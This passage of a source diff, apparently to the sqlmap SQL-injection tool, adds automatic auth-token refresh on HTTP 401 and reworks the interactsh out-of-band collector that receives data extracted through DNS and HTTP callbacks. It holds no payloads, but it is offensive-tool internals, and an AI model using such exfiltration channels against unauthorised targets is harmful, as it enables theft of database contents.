help="Use Google dork results from specified page number")
|
||||
general.add_argument("--gpage", dest="googlePage", type=int, metavar="PAGE",
|
||||
help="Use dork results from specified page number")
|
||||
|
||||
general.add_argument("--har", dest="harFile",
|
||||
help="Log all HTTP traffic into a HAR file")
|
||||
@@ -745,6 +751,9 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--parse-errors", dest="parseErrors", action="store_true",
|
||||
help="Parse and display DBMS error messages from responses")
|
||||
|
||||
general.add_argument("--auth-refresh", dest="authRefresh",
|
||||
help="Run script to refresh auth on HTTP 401")
|
||||
|
||||
general.add_argument("--preprocess", dest="preprocess",
|
||||
help="Use given script(s) for preprocessing (request)")
|
||||
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
from lib.core.common import openFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
|
||||
def createTemplate():
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.AUTH_REFRESH, suffix=".py")
|
||||
os.close(handle)
|
||||
|
||||
with openFile(filename, "w+") as f:
|
||||
f.write("#!/usr/bin/env\n\ndef refresh():\n # Obtain a fresh token here (use a timeout for login requests).\n # Custom headers also work, e.g. {'X-Auth-Token': token}.\n return {'Authorization': 'Bearer <fresh token>'}\n")
|
||||
with openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+") as f:
|
||||
f.write("pass")
|
||||
|
||||
return filename
|
||||
|
||||
|
||||
def sameOrigin(first, second):
|
||||
# checkSameHost deliberately ignores schemes and ports, which is unsuitable for credentials.
|
||||
def origin(url):
|
||||
parts = _urllib.parse.urlsplit(url)
|
||||
return parts.scheme.lower(), parts.hostname, parts.port or (443 if parts.scheme.lower() == "https" else 80)
|
||||
|
||||
return origin(first) == origin(second)
|
||||
|
||||
|
||||
def apply(req):
|
||||
"""Overlay refreshed headers after preprocess hooks; return the credential generation sent."""
|
||||
|
||||
if not conf.authRefresh or not sameOrigin(req.get_full_url(), conf.url):
|
||||
return None
|
||||
|
||||
with kb.locks.authRefresh:
|
||||
if kb.authRefreshFailed:
|
||||
raise SqlmapGenericException("authentication refresh failed; cannot continue with expired credentials")
|
||||
for name, value in kb.authRefreshHeaders.items():
|
||||
# Hooks/raw request files can leave differently-cased copies of the same header.
|
||||
for headers in (req.headers, req.unredirected_hdrs):
|
||||
for key in list(headers):
|
||||
if key.lower() == name.lower():
|
||||
del headers[key]
|
||||
req.add_header(name, value)
|
||||
return kb.authRefreshVersion
|
||||
|
||||
|
||||
def refresh(version):
|
||||
"""Refresh once for all workers that sent the same expired credentials."""
|
||||
|
||||
with kb.locks.authRefresh:
|
||||
if kb.authRefreshFailed:
|
||||
raise SqlmapConnectionException("authentication refresh failed; cannot continue with expired credentials")
|
||||
if version != kb.authRefreshVersion:
|
||||
return
|
||||
|
||||
logger.info("refreshing authentication after HTTP 401")
|
||||
try:
|
||||
headers = kb.authRefreshFunction()
|
||||
if not isinstance(headers, dict) or not headers:
|
||||
raise ValueError()
|
||||
for name, value in headers.items():
|
||||
if not isinstance(name, six.string_types) or not re.match(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z", name):
|
||||
raise ValueError()
|
||||
if not isinstance(value, six.string_types) or not value or re.search(r"[\x00-\x1f\x7f]", value):
|
||||
raise ValueError()
|
||||
value.encode("latin-1")
|
||||
if name.lower() in ("host", "content-length", "transfer-encoding", "connection", "proxy-authorization"):
|
||||
raise ValueError()
|
||||
if len(set(_.lower() for _ in headers)) != len(headers):
|
||||
raise ValueError()
|
||||
except Exception:
|
||||
kb.authRefreshFailed = True
|
||||
# Hook exceptions can contain tokens/passwords; do not include their text.
|
||||
raise SqlmapConnectionException("auth refresh hook failed or returned invalid headers. Expected a non-empty dictionary of authentication headers. You can find a template script at '%s'" % createTemplate())
|
||||
|
||||
kb.authRefreshHeaders = dict(headers)
|
||||
kb.authRefreshVersion += 1
|
||||
|
||||
|
||||
def stripHeaders(headers):
|
||||
"""Remove refreshed credentials before following a redirect to another origin."""
|
||||
|
||||
names = set(_.lower() for _ in kb.authRefreshHeaders)
|
||||
return dict((name, value) for name, value in headers.items() if name.lower() not in names)
|
||||
@@ -442,8 +442,8 @@ def processResponse(page, responseHeaders, code=None, status=None):
|
||||
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT] if not kb.checkWafMode else page[:HEURISTIC_PAGE_SIZE_THRESHOLD])
|
||||
|
||||
with kb.locks.identYwaf:
|
||||
identYwaf.non_blind.clear()
|
||||
try:
|
||||
identYwaf.non_blind.clear()
|
||||
if identYwaf.non_blind_check(rawResponse, silent=True):
|
||||
for waf in set(identYwaf.non_blind):
|
||||
if waf not in kb.identifiedWafs:
|
||||
|
||||
+34
-7
@@ -22,6 +22,7 @@ import time
|
||||
import traceback
|
||||
|
||||
from lib.request import websocket
|
||||
from lib.request import authrefresh
|
||||
from lib.request.websocket import WebSocketException
|
||||
|
||||
from lib.core.agent import agent
|
||||
@@ -469,6 +470,8 @@ class Connect(object):
|
||||
responseHeaders = None
|
||||
logHeaders = u""
|
||||
skipLogTraffic = False
|
||||
authRetry = False
|
||||
authVersion = None
|
||||
|
||||
raise404 = raise404 and not kb.ignoreNotFound
|
||||
|
||||
@@ -683,6 +686,9 @@ class Connect(object):
|
||||
else:
|
||||
post, headers = req.data, req.headers
|
||||
|
||||
authVersion = authrefresh.apply(req)
|
||||
headers = req.headers
|
||||
|
||||
requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||
|
||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||
@@ -730,12 +736,12 @@ class Connect(object):
|
||||
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
|
||||
|
||||
try:
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ())
|
||||
except IOError as ex:
|
||||
raise _http_client.HTTPException(getSafeExString(ex))
|
||||
else:
|
||||
if conn.code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
raise _urllib.error.HTTPError(conn.geturl(), conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
|
||||
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
||||
|
||||
@@ -863,7 +869,7 @@ class Connect(object):
|
||||
page = None
|
||||
responseHeaders = None
|
||||
|
||||
if checking:
|
||||
if checking and not (ex.code == _http_client.UNAUTHORIZED and authVersion is not None):
|
||||
return None, None, None
|
||||
|
||||
try:
|
||||
@@ -887,7 +893,8 @@ class Connect(object):
|
||||
code = ex.code
|
||||
status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1])
|
||||
|
||||
kb.originalCode = kb.originalCode or code
|
||||
if not (code == _http_client.UNAUTHORIZED and authVersion is not None):
|
||||
kb.originalCode = kb.originalCode or code
|
||||
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
|
||||
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
|
||||
|
||||
@@ -913,7 +920,15 @@ class Connect(object):
|
||||
singleTimeLogMessage(errMsg, logging.CRITICAL)
|
||||
raise SystemExit
|
||||
|
||||
if ex.code not in (conf.ignoreCode or []):
|
||||
if ex.code == _http_client.UNAUTHORIZED and authVersion is not None and authrefresh.sameOrigin(ex.geturl(), url):
|
||||
if kwargs.get("authRetried"):
|
||||
with kb.locks.authRefresh:
|
||||
if authVersion == kb.authRefreshVersion:
|
||||
kb.authRefreshFailed = True
|
||||
raise SqlmapConnectionException("authentication refresh did not authorize the retried request (401)")
|
||||
authrefresh.refresh(authVersion)
|
||||
authRetry = True
|
||||
elif ex.code not in (conf.ignoreCode or []):
|
||||
if ex.code == TOO_MANY_REQUESTS_HTTP_CODE or (ex.code == _http_client.SERVICE_UNAVAILABLE and Connect._parseRetryAfter(responseHeaders) is not None):
|
||||
retried = Connect._rateLimitRetry(responseHeaders, ex.code, **kwargs)
|
||||
if retried is not None:
|
||||
@@ -1072,6 +1087,10 @@ class Connect(object):
|
||||
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
# a postprocess function may replace responseHeaders with a plain dict lacking
|
||||
# the internal '.headers' attribute expected further down (e.g. in processResponse())
|
||||
responseHeaders = patchHeaders(responseHeaders)
|
||||
|
||||
if isinstance(page, six.binary_type):
|
||||
if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
|
||||
page = six.text_type(page, errors="ignore")
|
||||
@@ -1095,6 +1114,12 @@ class Connect(object):
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
if authRetry:
|
||||
# Authentication latency is not evidence of a time-based SQL injection.
|
||||
threadData.authRefreshTime += calculateDeltaSeconds(start)
|
||||
kwargs["authRetried"] = True
|
||||
return Connect.getPage(**kwargs)
|
||||
|
||||
# Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
|
||||
if not sys.version.startswith("3.11."):
|
||||
if conf.retryOn and re.search(conf.retryOn, page or "", re.I):
|
||||
@@ -1634,7 +1659,7 @@ class Connect(object):
|
||||
match = re.search(r"['\"]", post)
|
||||
if match:
|
||||
quote = match.group(0)
|
||||
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post)
|
||||
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry.replace('\\', r'\\'), quote))), post)
|
||||
else:
|
||||
post += "%s%s=%s" % (delimiter, name, entry)
|
||||
elif get is not None:
|
||||
@@ -1747,6 +1772,8 @@ class Connect(object):
|
||||
|
||||
start = time.time()
|
||||
|
||||
authRefreshTime = threadData.authRefreshTime
|
||||
|
||||
if kb.nullConnection and not content and not response and not timeBasedCompare:
|
||||
noteResponseTime = False
|
||||
|
||||
@@ -1802,7 +1829,7 @@ class Connect(object):
|
||||
return value
|
||||
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastQueryDuration = max(0, calculateDeltaSeconds(start) - (threadData.authRefreshTime - authRefreshTime))
|
||||
|
||||
kb.originalCode = code if kb.originalCode is None else kb.originalCode
|
||||
kb.originalPage = page if kb.originalPage is None else kb.originalPage
|
||||
|
||||
+55
-22
@@ -235,8 +235,9 @@ class InteractshDNSServer(object):
|
||||
is a drop-in for conf.dnsServer.
|
||||
"""
|
||||
|
||||
_POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds;
|
||||
_POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent
|
||||
# Default time budget (seconds) pop() spends waiting on the poller queue for a
|
||||
# not-yet-arriving captured lookup. Overridable per instance for fast tests.
|
||||
_POP_DEADLINE = 6
|
||||
|
||||
def __init__(self, server=None):
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
@@ -249,42 +250,74 @@ class InteractshDNSServer(object):
|
||||
if not self._client.registered:
|
||||
raise socket.error("could not register with an interactsh interaction server")
|
||||
|
||||
# One background poller drains the remote session; pop() consumes from its in-memory
|
||||
# queue with zero network calls.
|
||||
self._client._ensurePoller()
|
||||
self.domain = self._client.dnsDomain()
|
||||
self._seen = set()
|
||||
self._running = True
|
||||
self._initialized = True
|
||||
|
||||
def stop(self):
|
||||
"""Best-effort shutdown: stop the single background poller (join it) then deregister.
|
||||
|
||||
stop() also deregisters, and the poller is the only code that drains the remote
|
||||
session, so it must be stopped before deregistering."""
|
||||
self._running = False
|
||||
client = getattr(self, "_client", None)
|
||||
if client is not None:
|
||||
client.stop()
|
||||
|
||||
def run(self):
|
||||
"""No background listener is needed - interactsh does the receiving."""
|
||||
pass
|
||||
|
||||
def pop(self, prefix=None, suffix=None):
|
||||
def _matchesDns(self, record, prefix, suffix):
|
||||
# Protocol gate: the shared poller queues dns/http/https together, so a record can land in
|
||||
# the queue for another consumer. Never hand an HTTP record to the DNS channel - doing so
|
||||
# would make pop() return a request line as though it were a DNS lookup, and the HTTP
|
||||
# consumer would then lose that interaction (the exact cross-consumer loss the shared queue
|
||||
# was introduced to prevent).
|
||||
if record.get("protocol") != "dns":
|
||||
return False
|
||||
name = record.get("full-id")
|
||||
if not name:
|
||||
return False
|
||||
if name in self._seen: # already handed out once, never return it again
|
||||
return False
|
||||
if prefix is None and suffix is None:
|
||||
return True
|
||||
if prefix and suffix and re.search(
|
||||
r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
|
||||
return True
|
||||
return False
|
||||
|
||||
def pop(self, prefix=None, suffix=None, deadline=None, sync=False):
|
||||
"""
|
||||
Returns a captured DNS lookup name matching the given prefix/suffix
|
||||
(prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop().
|
||||
|
||||
Unlike the synchronous local DNSServer (which reads a query captured during the
|
||||
very request), interactsh is remote and eventually-consistent: a just-triggered
|
||||
lookup takes a moment to reach the collector and surface via its poll API. So we
|
||||
poll a few times before giving up, instead of reading once.
|
||||
lookup takes a moment to reach the collector and surface via its poll API. The
|
||||
background poller stages matching names in a queue, so pop() waits on that queue
|
||||
(no network call) until the ~6s deadline, then returns None.
|
||||
|
||||
``deadline`` is the number of seconds to wait for a not-yet-arriving lookup
|
||||
(``deadline=0`` is a snapshot of the current queue with no wait); ``None`` selects the
|
||||
class default (``_POP_DEADLINE``). This None semantics differs from ``_consume``, where
|
||||
``None`` means "don't wait" - here it means "wait the default". It is resolved here to
|
||||
an absolute timestamp for the poller's Condition. ``sync`` forces the direct-poll
|
||||
fallback path.
|
||||
"""
|
||||
|
||||
for attempt in range(self._POLL_TRIES):
|
||||
for name in self._client.dnsNames():
|
||||
if name in self._seen:
|
||||
continue
|
||||
|
||||
if prefix is None and suffix is None:
|
||||
self._seen.add(name)
|
||||
return name
|
||||
|
||||
if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
|
||||
self._seen.add(name)
|
||||
return name
|
||||
|
||||
if attempt < self._POLL_TRIES - 1:
|
||||
time.sleep(self._POLL_DELAY)
|
||||
|
||||
selector = lambda record: self._matchesDns(record, prefix, suffix)
|
||||
# deadline=None -> use the class default budget; a number -> that many seconds.
|
||||
budget = self._POP_DEADLINE if deadline is None else deadline
|
||||
matched = self._client._consume(selector, deadline=time.time() + budget, sync=sync)
|
||||
if matched:
|
||||
matched_id = matched[0].get("full-id")
|
||||
self._seen.add(matched_id)
|
||||
return matched_id
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -1576,7 +1576,7 @@ def proxy_tuple(proxy, cred=None):
|
||||
|
||||
|
||||
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True,
|
||||
max_redirects=10, proxy=None, verify=False, ssl_context=None):
|
||||
max_redirects=10, proxy=None, verify=False, ssl_context=None, sensitive_headers=()):
|
||||
req_headers = headers or {}
|
||||
current_method = method
|
||||
current_body = body
|
||||
@@ -1614,7 +1614,7 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi
|
||||
old_parts = parts
|
||||
new_parts = urlsplit(new_url)
|
||||
if _origin_tuple(old_parts) != _origin_tuple(new_parts):
|
||||
req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS)
|
||||
req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS.union(_as_bytes(_).lower() for _ in sensitive_headers))
|
||||
|
||||
method_bytes = _as_bytes(current_method)
|
||||
change_to_get = status == 303 and method_bytes != b"HEAD"
|
||||
|
||||
@@ -28,6 +28,8 @@ except ImportError:
|
||||
pass
|
||||
|
||||
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
||||
# Note: SNI (i.e. server_hostname) is a TLS extension, hence only those are used in here (Note: PROTOCOL_TLSv1 is not compiled in on OpenSSL builds without TLS 1.0 support)
|
||||
_tlsProtocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1"))
|
||||
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
||||
_contexts = {}
|
||||
|
||||
@@ -64,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if hasattr(ssl, "SSLContext"):
|
||||
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
|
||||
for protocol in (_ for _ in _protocols if _ in _tlsProtocols):
|
||||
sock = None
|
||||
try:
|
||||
sock = create_sock()
|
||||
@@ -91,7 +93,8 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
else:
|
||||
for header, value in conf.httpHeaders:
|
||||
if header.lower() == "host":
|
||||
hostname = value
|
||||
match = re.search(r"\A\[(?P<hostname>.+)\](:\d+)?\Z", value.strip())
|
||||
hostname = match.group("hostname") if match else value.rsplit(":", 1)[0] if ":" in value else value
|
||||
break
|
||||
hostname = hostname if re.search(r"\A[\d.]+\Z", hostname or "") is None else None
|
||||
result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=hostname)
|
||||
|
||||
+376
-4
@@ -6,8 +6,11 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import base64
|
||||
import collections
|
||||
import threading
|
||||
import json
|
||||
import time
|
||||
import hashlib
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getBytes
|
||||
@@ -51,6 +54,13 @@ class Interactsh(object):
|
||||
self.registered = False
|
||||
self._key = None
|
||||
self._dnsNonce = None
|
||||
self._poller = None
|
||||
# Guards the poller create/start decision so two callers racing on an unstarted
|
||||
# session cannot each build their own poller and destructively poll one session.
|
||||
self._pollerLock = threading.Lock()
|
||||
# Set under _pollerLock while stop() tears down: blocks _ensurePoller from restarting the
|
||||
# poller in the gap between stop() and close()/deregister().
|
||||
self._stopping = False
|
||||
|
||||
if not _HAS_CRYPTO:
|
||||
return
|
||||
@@ -102,12 +112,20 @@ class Interactsh(object):
|
||||
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
|
||||
|
||||
request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers)
|
||||
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
|
||||
# request_timeout() is the single source of truth for every interactsh network op so
|
||||
# InteractshPoller.stop() can join for exactly one /poll network call.
|
||||
response = build_opener(*handlers).open(request, timeout=self.request_timeout())
|
||||
return getText(response.read())
|
||||
except Exception as ex:
|
||||
logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex)))
|
||||
return None
|
||||
|
||||
def request_timeout(self):
|
||||
"""Network timeout (seconds) applied to every /poll and /deregister request. Interactsh
|
||||
derives its /poll network timeout identically, so InteractshPoller.stop() can join for
|
||||
exactly one of these before the thread is guaranteed to have exited."""
|
||||
return conf.get("timeout") or _DEFAULT_NETWORK_TIMEOUT
|
||||
|
||||
def url(self):
|
||||
"""Return a fresh unique callback URL (host = correlationId + nonce)."""
|
||||
nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
@@ -122,9 +140,120 @@ class Interactsh(object):
|
||||
return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server)
|
||||
|
||||
def dnsNames(self):
|
||||
"""Poll and return the fully-qualified names (minus the server suffix) of the
|
||||
DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'."""
|
||||
return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")]
|
||||
"""Return the fully-qualified names (minus the server suffix) of the DNS lookups
|
||||
captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'.
|
||||
|
||||
This is a *snapshot* over the single background poller's in-memory queue: it ensures the
|
||||
poller is running and drains whatever it has already staged, so it does not itself issue
|
||||
a fresh /poll. On the very first call after registration the poller may not have finished
|
||||
its first round-trip yet and can therefore return [] even though interactions exist -
|
||||
retry the call rather than treating that first call as authoritative."""
|
||||
return [_.get("full-id")
|
||||
for _ in self._consume(
|
||||
lambda _: _.get("protocol") == "dns" and _.get("full-id"),
|
||||
None)]
|
||||
|
||||
def httpRequests(self):
|
||||
"""Return the captured HTTP interactions (collector half of an HTTP-based out-of-band
|
||||
data channel). Unlike DNS, where the value rides the queried hostname, an HTTP callback
|
||||
carries its payload in the request line/body - so the interaction itself is the evidence.
|
||||
|
||||
interactsh stores each record with a ``raw-request`` (the full dumped request), a
|
||||
``protocol`` (``http`` or ``https``) and a ``remote-address`` - it does not pre-parse the
|
||||
path/query. A value with no safe-in-URL character set is therefore embedded in a
|
||||
query-string *parameter name* (the path stays a constant request line and only the
|
||||
attacker-controlled name varies) and the decoded names are returned here.
|
||||
"""
|
||||
retVal = []
|
||||
|
||||
for _ in self._consume(lambda _: _.get("protocol") in ("http", "https"), None):
|
||||
retVal.append(self._renderHttpRequest(_))
|
||||
|
||||
return retVal
|
||||
|
||||
def _renderHttpRequest(self, record):
|
||||
interaction = {
|
||||
"full-id": record.get("full-id") or "",
|
||||
"client": record.get("remote-address") or record.get("client") or "",
|
||||
"request": record.get("raw-request") or "",
|
||||
"query-param-names": [],
|
||||
}
|
||||
|
||||
raw = interaction["request"]
|
||||
target = _parseHttpRequestTarget(raw) if raw else (record.get("full-id") or "")
|
||||
if target:
|
||||
interaction["query-param-names"] = _extractQueryStringNames(target)
|
||||
|
||||
return interaction
|
||||
|
||||
def _ensurePoller(self):
|
||||
"""Start the single background /poll consumer (idempotent). The poller is the only code
|
||||
that calls the remote endpoint; DNS/HTTP consumers then read the same records from
|
||||
memory, so they never drain each other. No-op without crypto, since /poll cannot then be
|
||||
decrypted."""
|
||||
if not _HAS_CRYPTO:
|
||||
return
|
||||
|
||||
# The whole create-or-reuse-and-start sequence is under one lock, so exactly one
|
||||
# background poller is ever created and started for this session. A poller must only run
|
||||
# for a live, registered session: skip if the session was never registered, and skip if
|
||||
# stop() is in progress (so no poller can be restarted between stop() and deregister()).
|
||||
with self._pollerLock:
|
||||
if not self.registered or self._stopping:
|
||||
return
|
||||
poller = getattr(self, "_poller", None)
|
||||
if poller is None:
|
||||
self._poller = poller = InteractshPoller(self)
|
||||
if not poller.isRunning():
|
||||
poller.start()
|
||||
|
||||
def _consume(self, selector, deadline=None, sync=False):
|
||||
"""Return records matching selector.
|
||||
|
||||
For normal registered operation the single background poller drains the remote session
|
||||
(zero extra network calls from the consumer, and exactly one caller ever drains it), so
|
||||
we ensure it is running and read its in-memory queue. ``sync=True`` forces the direct
|
||||
``poll()`` path for the deprecated fallback / explicit testing.
|
||||
|
||||
``deadline`` is an absolute timestamp: ``None`` drains the current queue only (no wait),
|
||||
used by snapshot-style callers such as ``httpRequests``/``dnsNames``.
|
||||
|
||||
Outside ``sync=True`` only the background poller ever calls the remote ``poll()`` - the
|
||||
invariant this method enforces. A stale poller (never started, or started then stopped by
|
||||
``stop()``) yields ``[]`` rather than a second, unsynchronised ``poll()`` that could
|
||||
destructively drain the shared session from the wrong caller.
|
||||
|
||||
``sync=True`` forces the direct-poll path, but only for a live, registered session that
|
||||
has no background poller already draining it - the poller is the only code that is allowed
|
||||
to call the remote endpoint, so a spurious ``sync=True`` during normal operation drains the
|
||||
running poller's queue instead of adding a second destructive ``poll()`` caller. Once
|
||||
``stop()`` has begun, no caller initiates another remote ``poll()`` - not this
|
||||
compatibility path either."""
|
||||
if sync:
|
||||
with self._pollerLock:
|
||||
if self._stopping or not self.registered:
|
||||
return []
|
||||
poller = getattr(self, "_poller", None)
|
||||
if poller is None or not poller.isRunning():
|
||||
# Keep the lock across this compatibility poll so _ensurePoller() cannot start
|
||||
# a background poller concurrently in the gap between the check and poll()
|
||||
# (which would then become a second /poll caller).
|
||||
return [record for record in self.poll() if self._safeSelector(selector, record)]
|
||||
# Releasing the lock before draining the poller's queue keeps _ensurePoller() free too.
|
||||
return poller.drain_matching(selector, deadline)
|
||||
|
||||
self._ensurePoller()
|
||||
poller = getattr(self, "_poller", None)
|
||||
if poller is not None and poller.isRunning():
|
||||
return poller.drain_matching(selector, deadline)
|
||||
return []
|
||||
|
||||
def _safeSelector(self, selector, record):
|
||||
try:
|
||||
return bool(selector(record))
|
||||
except Exception as ex:
|
||||
logger.debug("interactsh selector error: %s" % getText(ex))
|
||||
return False
|
||||
|
||||
def poll(self):
|
||||
"""Return the list of decrypted interaction records captured so far."""
|
||||
@@ -168,8 +297,251 @@ class Interactsh(object):
|
||||
return interactions
|
||||
return []
|
||||
|
||||
def stop(self):
|
||||
"""Stop the background poller (join it) then deregister the interaction.
|
||||
|
||||
The poller is the only code that drains the remote /poll session, so it must be
|
||||
stopped before deregistering; stopping it first also prevents it from re-staging
|
||||
interactions after close() is called (best-effort on a dead/broken poller).
|
||||
|
||||
Invariant: after stop()/close() returns, this object owns no active polling thread. If the
|
||||
poller cannot be stopped within the budget it is deliberately left running (and this
|
||||
interaction left registered) so a deregister can never race a still-active /poll drain -
|
||||
a later stop()/close() re-runs it and deregisters once the thread has exited."""
|
||||
# Set _stopping and capture the poller under _pollerLock (the start/stop race lives under
|
||||
# that lock); release the lock before joining so a concurrent _ensurePoller() caller is
|
||||
# not blocked for a whole join. The lock prevents a restart of this same poller between here
|
||||
# and deregister(); only the (now-dead) poller is joined.
|
||||
poller = None
|
||||
with self._pollerLock:
|
||||
self._stopping = True
|
||||
poller = getattr(self, "_poller", None)
|
||||
stopped = True
|
||||
if poller is not None:
|
||||
try:
|
||||
stopped = poller.stop()
|
||||
except Exception:
|
||||
logger.debug("error while stopping interactsh poller")
|
||||
stopped = False
|
||||
if not stopped:
|
||||
# A /poll network call is still draining the session; skip deregister this time and let
|
||||
# the next stop()/close() deregister once the thread has actually exited.
|
||||
return
|
||||
self._deregister()
|
||||
|
||||
def close(self):
|
||||
"""Canonical complete teardown: stop the poller AND deregister.
|
||||
|
||||
close() predates the background-poller addition, so every existing/future caller can
|
||||
keep using it without learning about stop(); making it do the full shutdown means the
|
||||
invariant holds regardless of which entry point is taken: after close() returns this
|
||||
object owns no active polling thread."""
|
||||
self.stop()
|
||||
|
||||
def _deregister(self):
|
||||
if self.registered:
|
||||
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
|
||||
self._request("https://%s/deregister" % self.server, post=body)
|
||||
self.registered = False
|
||||
|
||||
|
||||
# Delay between two remote /poll round-trips in the background poller.
|
||||
_POP_POLL_DELAY = 1.0
|
||||
|
||||
# Network timeout (seconds) applied to each interactsh /poll and /deregister request (see
|
||||
# Interactsh._request). InteractshPoller.stop() joins for one of these (with a little slack) so a
|
||||
# /poll wedged at the remote endpoint cannot keep a dead poller's thread alive past stop().
|
||||
_DEFAULT_NETWORK_TIMEOUT = 30
|
||||
|
||||
|
||||
def _parseHttpRequestTarget(raw_request):
|
||||
"""Return the request target (undecoded) from the first line of a raw HTTP request.
|
||||
|
||||
It is deliberately left raw: decoding before splitting on '&'/'=' would corrupt encoded
|
||||
delimiters (a value with an unsafe-in-URL character set may hit the same host as its own
|
||||
name, e.g. ``?aa%26bb=1`` must parse to one name ``aa&bb``, not two). Downstream code decodes
|
||||
each name individually.
|
||||
"""
|
||||
if not raw_request:
|
||||
return ""
|
||||
first_line = raw_request.splitlines()[0]
|
||||
parts = first_line.split(None, 2)
|
||||
if len(parts) >= 2:
|
||||
target = parts[1]
|
||||
else:
|
||||
